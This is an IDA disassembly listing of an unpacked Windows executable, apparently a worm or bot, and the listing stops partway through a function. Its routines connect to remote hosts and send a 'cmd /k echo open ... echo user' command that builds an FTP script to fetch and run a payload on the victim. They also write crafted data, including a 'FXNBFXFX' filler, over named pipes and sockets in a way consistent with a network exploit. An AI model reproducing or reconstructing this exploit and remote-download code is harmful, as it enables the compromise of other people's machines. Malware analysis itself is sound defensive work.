;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	7FDA84AA402C068A53FAAB7F60AAD43C

; File Name   :	u:\work\7fda84aa402c068a53faab7f60aad43c_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000BD000 ( 774144.)
; Section size in file		: 000BD000 ( 774144.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_packed		segment	para public 'CODE' use32
		assume cs:_packed
		;org 401000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_4014EF+274p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_427354	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, word_41FBF0
		push	eax
		call	dword_427314	; htons
		push	ebx
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_427394	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4010CC
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4272BC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4010CC
		mov	esi, 400h
		push	ebx
		lea	eax, [ebp+var_5A0]
		push	esi
		push	eax
		push	edi
		call	dword_42732C	; recv
		mov	eax, offset byte_41FCA4
		push	eax
		push	eax
		push	dword_424F0C
		push	[ebp+arg_0]
		call	sub_404F3A
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_40E7AB
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	ebx
		push	eax
		call	sub_40E730
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	edi
		call	dword_427364	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4010D0


loc_4010CC:				; CODE XREF: sub_401000+51j
					; sub_401000+63j
		xor	al, al
		jmp	short loc_4010F4
; ---------------------------------------------------------------------------


loc_4010D0:				; CODE XREF: sub_401000+CAj
		push	1F4h
		call	dword_41A060	; Sleep
		push	ebx
		lea	eax, [ebp+var_5A0]
		push	esi
		push	eax
		push	edi
		call	dword_42732C	; recv
		push	edi
		call	dword_4273AC	; closesocket
		mov	al, 1


loc_4010F4:				; CODE XREF: sub_401000+CEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010F9	proc near		; CODE XREF: sub_4014EF+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_41C774
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_41C76C ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_424EF4
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	dword_41A064	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_40E858
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_40E858
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_424EF0
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_4273B4
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_4011BD
		cmp	eax, ebx
		jnz	short loc_4011C7


loc_4011BD:				; CODE XREF: sub_4010F9+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_4273B4


loc_4011C7:				; CODE XREF: sub_4010F9+C2j
		cmp	eax, 5
		jz	short loc_4011D5
		cmp	eax, ebx
		jz	short loc_4011D5
		push	1
		pop	eax
		jmp	short loc_4011D7
; ---------------------------------------------------------------------------


loc_4011D5:				; CODE XREF: sub_4010F9+D1j
					; sub_4010F9+D5j
		xor	eax, eax


loc_4011D7:				; CODE XREF: sub_4010F9+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4010F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4011DC	proc near		; CODE XREF: sub_4014EF+8Bp
					; sub_4014EF+158p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_41C774
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_41C76C ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_424EF4
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	dword_41A064	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_40E858
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_40E858
		add	esp, 10h


loc_40126D:				; CODE XREF: sub_4011DC+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_427254
		test	eax, eax
		jz	short loc_40128D
		push	7D0h
		call	dword_41A060	; Sleep
		jmp	short loc_40126D
; ---------------------------------------------------------------------------


loc_40128D:				; CODE XREF: sub_4011DC+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_4011DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401294	proc near		; CODE XREF: sub_4014EF+BAp
					; sub_4014EF+1D3p

var_2008	= byte ptr -2008h
var_1FE4	= byte ptr -1FE4h
var_1FD8	= byte ptr -1FD8h
var_1F31	= byte ptr -1F31h
var_1008	= byte ptr -1008h
var_1000	= dword	ptr -1000h
var_FF8		= dword	ptr -0FF8h
var_F88		= dword	ptr -0F88h
var_F84		= dword	ptr -0F84h
var_F54		= dword	ptr -0F54h
var_F50		= dword	ptr -0F50h
var_F38		= dword	ptr -0F38h
var_E7C		= dword	ptr -0E7Ch
var_CA8		= dword	ptr -0CA8h
var_CA0		= dword	ptr -0CA0h
var_C98		= byte ptr -0C98h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 2008h
		call	sub_40EC80
		mov	ax, word_41FBF0
		push	esi
		push	edi
		mov	esi, 0A7h
		push	eax
		mov	[ebp+var_4], esi
		call	dword_427314	; htons
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41C604
		call	sub_40E940
		mov	edi, dword_41C6F8
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_4012E4
		xor	eax, eax
		jmp	loc_4014EB
; ---------------------------------------------------------------------------


loc_4012E4:				; CODE XREF: sub_401294+47j
		push	ebx
		push	30h
		lea	eax, [ebp+var_2008]
		push	offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	eax
		call	sub_40E940
		push	esi
		lea	eax, [ebp+var_1FD8]
		push	0FFFFFF90h
		push	eax
		call	sub_40E800
		mov	ebx, offset loc_41C554
		push	edi
		lea	eax, [ebp+var_1F31]
		push	ebx
		push	eax
		call	sub_40E940
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_401323:				; CODE XREF: sub_401294+DBj
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_401371
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2008]
		inc	esi
		push	offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	eax
		mov	[ebp+var_4], esi
		call	sub_40E940
		push	esi
		lea	eax, [ebp+var_1FD8]
		push	0FFFFFF90h
		push	eax
		call	sub_40E800
		push	edi
		lea	eax, [ebp+esi+var_1FD8]
		push	ebx
		push	eax
		call	sub_40E940
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_401323
; ---------------------------------------------------------------------------


loc_401371:				; CODE XREF: sub_401294+9Aj
		cmp	[ebp+arg_C4], 0
		jz	short loc_40138C
		cmp	[ebp+arg_C0], 3
		jz	short loc_401395
		cmp	[ebp+arg_C0], 0
		jmp	short loc_401393
; ---------------------------------------------------------------------------


loc_40138C:				; CODE XREF: sub_401294+E4j
		cmp	[ebp+arg_C0], 3


loc_401393:				; CODE XREF: sub_401294+F6j
		jnz	short loc_40139E


loc_401395:				; CODE XREF: sub_401294+EDj
		push	4
		push	offset dword_41C6F4
		jmp	short loc_4013A5
; ---------------------------------------------------------------------------


loc_40139E:				; CODE XREF: sub_401294:loc_401393j
		push	4
		push	offset dword_41C6F0


loc_4013A5:				; CODE XREF: sub_401294+108j
		lea	eax, [ebp+var_1FE4]
		push	eax
		call	sub_40E940
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	360h
		push	offset dword_41C1F0
		push	eax
		call	sub_40E940
		push	10h
		lea	eax, [ebp+var_CA8]
		push	offset dword_41C1DC
		push	eax
		call	sub_40E940
		lea	eax, [ebp+var_2008]
		push	esi
		push	eax
		lea	eax, [ebp+var_C98]
		push	eax
		call	sub_40E940
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_41C19C
		lea	eax, [ebp+edi+var_1008]
		push	eax
		call	sub_40E940
		add	edi, 3Ch
		push	30h
		push	offset dword_41C168
		lea	eax, [ebp+edi+var_1008]
		push	eax
		call	sub_40E940
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA8], eax
		add	[ebp+var_CA0], eax
		mov	eax, [ebp+var_1000]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_1000],	eax
		mov	eax, [ebp+var_FF8]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_F88]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F88], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F54]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F54], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F38]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F38], eax
		mov	eax, [ebp+var_E7C]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E7C], eax
		call	sub_40E882
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_40E800
		lea	eax, [ebp+var_1008]
		push	edi
		push	eax
		push	ebx
		call	sub_40E940
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_4014EB:				; CODE XREF: sub_401294+4Bj
		pop	edi
		pop	esi
		leave
		retn
sub_401294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4014EF	proc near		; CODE XREF: sub_4037AE+1EAp
					; DATA XREF: .packed:off_41E0FCo

var_1138	= byte ptr -1138h
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		mov	eax, 1138h
		call	sub_40EC80
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_401652
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4010F9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401737
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	offset dword_41C790
		push	eax
		call	sub_40EE10
		lea	eax, [ebp+var_138]
		push	offset dword_41C780
		push	eax
		call	sub_40ED30
		add	esp, 14h
		xor	ebx, ebx
		lea	eax, [ebp+var_138]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	dword_41A074	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401585


loc_401576:				; CODE XREF: sub_4014EF+138j
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4011DC
		pop	ecx
		jmp	loc_401737
; ---------------------------------------------------------------------------


loc_401585:				; CODE XREF: sub_4014EF+85j
		lea	eax, [ebp+arg_4]
		push	2
		push	eax
		call	sub_408318
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401294
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	short loc_4015C0
		push	[ebp+var_4]
		jmp	short loc_401621
; ---------------------------------------------------------------------------


loc_4015C0:				; CODE XREF: sub_4014EF+CAj
		mov	esi, 186A0h
		push	esi
		call	sub_40E882
		mov	edi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_40E800
		mov	esi, [ebp+var_4]
		add	esp, 10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		push	2710h
		push	edi
		push	48h
		push	offset dword_41C11C
		push	esi
		call	dword_41A070	; TransactNamedPipe
		cmp	byte ptr [edi+2], 0Ch
		jnz	short loc_401610
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		call	dword_41A06C	; WriteFile
		test	eax, eax
		jnz	short loc_40162C


loc_401610:				; CODE XREF: sub_4014EF+109j
		push	edi
		call	sub_40ECAF
		push	[ebp+var_8]
		call	sub_40ECAF
		pop	ecx
		pop	ecx
		push	esi


loc_401621:				; CODE XREF: sub_4014EF+CFj
		call	dword_41A068	; CloseHandle
		jmp	loc_401576
; ---------------------------------------------------------------------------


loc_40162C:				; CODE XREF: sub_4014EF+11Fj
		push	[ebp+var_8]
		call	sub_40ECAF
		push	edi
		call	sub_40ECAF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41A068	; CloseHandle
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4011DC
		pop	ecx
		jmp	loc_401748
; ---------------------------------------------------------------------------


loc_401652:				; CODE XREF: sub_4014EF+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_408318
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		push	ebx
		push	1
		push	2
		call	dword_427394	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_401737
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+arg_A0]
		call	dword_427314	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_427354	; inet_addr
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401294
		mov	edi, eax
		add	esp, 0C8h
		cmp	edi, ebx
		jnz	short loc_4016D8
		push	[ebp+var_4]
		jmp	short loc_401731
; ---------------------------------------------------------------------------


loc_4016D8:				; CODE XREF: sub_4014EF+1E2j
		mov	esi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	esi
		call	dword_4272BC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4016F0


loc_4016ED:				; CODE XREF: sub_4014EF+213j
		push	edi
		jmp	short loc_40172A
; ---------------------------------------------------------------------------


loc_4016F0:				; CODE XREF: sub_4014EF+1FCj
		push	ebx
		push	48h
		push	offset dword_41C11C
		push	esi
		call	dword_427364	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4016ED
		push	ebx
		lea	eax, [ebp+var_1138]
		push	1000h
		push	eax
		push	esi
		call	dword_42732C	; recv
		push	ebx
		push	[ebp+var_C]
		push	edi
		push	esi
		call	dword_427364	; send
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_40173B


loc_40172A:				; CODE XREF: sub_4014EF+1FFj
		call	sub_40ECAF
		pop	ecx
		push	esi


loc_401731:				; CODE XREF: sub_4014EF+1E7j
		call	dword_4273AC	; closesocket


loc_401737:				; CODE XREF: sub_4014EF+31j
					; sub_4014EF+91j ...
		xor	eax, eax
		jmp	short loc_40178A
; ---------------------------------------------------------------------------


loc_40173B:				; CODE XREF: sub_4014EF+239j
		call	sub_40ECAF
		pop	ecx
		push	esi
		call	dword_4273AC	; closesocket


loc_401748:				; CODE XREF: sub_4014EF+15Ej
		push	7D0h
		call	dword_41A060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401000
		add	esp, 0BCh
		test	al, al
		jz	short loc_401787
		mov	eax, [ebp+arg_A8]
		imul	eax, 38h
		inc	dword_41E100[eax]
		lea	eax, dword_41E100[eax]


loc_401787:				; CODE XREF: sub_4014EF+281j
		push	1
		pop	eax


loc_40178A:				; CODE XREF: sub_4014EF+24Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4014EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40178F	proc near		; CODE XREF: sub_401A03+Ep
					; sub_401A03+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40178F	endp


; =============== S U B	R O U T	I N E =======================================



sub_401799	proc near		; CODE XREF: sub_401A03+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_40E882
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4017CB
		push	ebx
		push	0
		push	edi
		call	sub_40E800
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_40E940
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_4017CB:				; CODE XREF: sub_401799+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_401799	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017D3	proc near		; CODE XREF: sub_4018CD+18p
					; sub_401947+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_40E882
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40181F
		push	edi
		push	0
		push	esi
		call	sub_40E800
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_40E940
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_40E940
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40181F:				; CODE XREF: sub_4017D3+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_4017D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_401828	proc near		; CODE XREF: sub_4018CD+5Ep
					; sub_4018CD+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_401838
		push	eax
		call	sub_40ECAF
		pop	ecx


loc_401838:				; CODE XREF: sub_401828+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_401828	endp


; =============== S U B	R O U T	I N E =======================================



sub_401841	proc near		; CODE XREF: sub_4018CD+20p
					; sub_4019A8+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40186E
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_40E882
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_401872


loc_40186E:				; CODE XREF: sub_401841+Dj
		xor	al, al
		jmp	short loc_4018C9
; ---------------------------------------------------------------------------


loc_401872:				; CODE XREF: sub_401841+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_40E800
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_401897
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_4018B1
; ---------------------------------------------------------------------------


loc_401897:				; CODE XREF: sub_401841+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_4018B1:				; CODE XREF: sub_401841+54j
		push	eax
		call	sub_40E940
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_40ECAF
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_4018C9:				; CODE XREF: sub_401841+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401841	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018CD	proc near		; CODE XREF: sub_401A03+89p
					; sub_401A03+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_424F04
		call	sub_4017D3
		lea	ecx, [ebp+var_8]
		call	sub_401841
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_40E882
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_401907
		xor	al, al
		jmp	short loc_401943
; ---------------------------------------------------------------------------


loc_401907:				; CODE XREF: sub_4018CD+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_40E800
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_40E940
		add	esp, 18h
		mov	ecx, esi
		call	sub_401828
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_401828
		mov	al, 1


loc_401943:				; CODE XREF: sub_4018CD+38j
		pop	edi
		pop	esi
		leave
		retn
sub_4018CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401947	proc near		; CODE XREF: sub_40197B+14p
					; sub_401998+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_4017D3
		mov	ecx, esi
		call	sub_401828
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_401947	endp


; =============== S U B	R O U T	I N E =======================================



sub_40197B	proc near		; CODE XREF: sub_401A03+F0p
					; sub_401A03+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_40E730
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_401947
		pop	esi
		retn	4
sub_40197B	endp


; =============== S U B	R O U T	I N E =======================================



sub_401998	proc near		; CODE XREF: sub_4019E4+Bp
					; sub_401A03+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_401947
		retn	8
sub_401998	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019A8	proc near		; CODE XREF: sub_4019E4+16p
					; sub_401A03+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_401841
		test	al, al
		jz	short loc_4019E1
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_41CB03+1)
		call	sub_4017D3
		mov	ecx, esi
		call	sub_401828
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_4019E1:				; CODE XREF: sub_4019A8+Fj
		pop	esi
		leave
		retn
sub_4019A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4019E4	proc near		; CODE XREF: sub_401A03+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_401998
		test	al, al
		jz	short loc_4019FF
		mov	ecx, esi
		call	sub_4019A8


loc_4019FF:				; CODE XREF: sub_4019E4+12j
		pop	esi
		retn	8
sub_4019E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A03	proc near		; CODE XREF: .packed:00402288p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
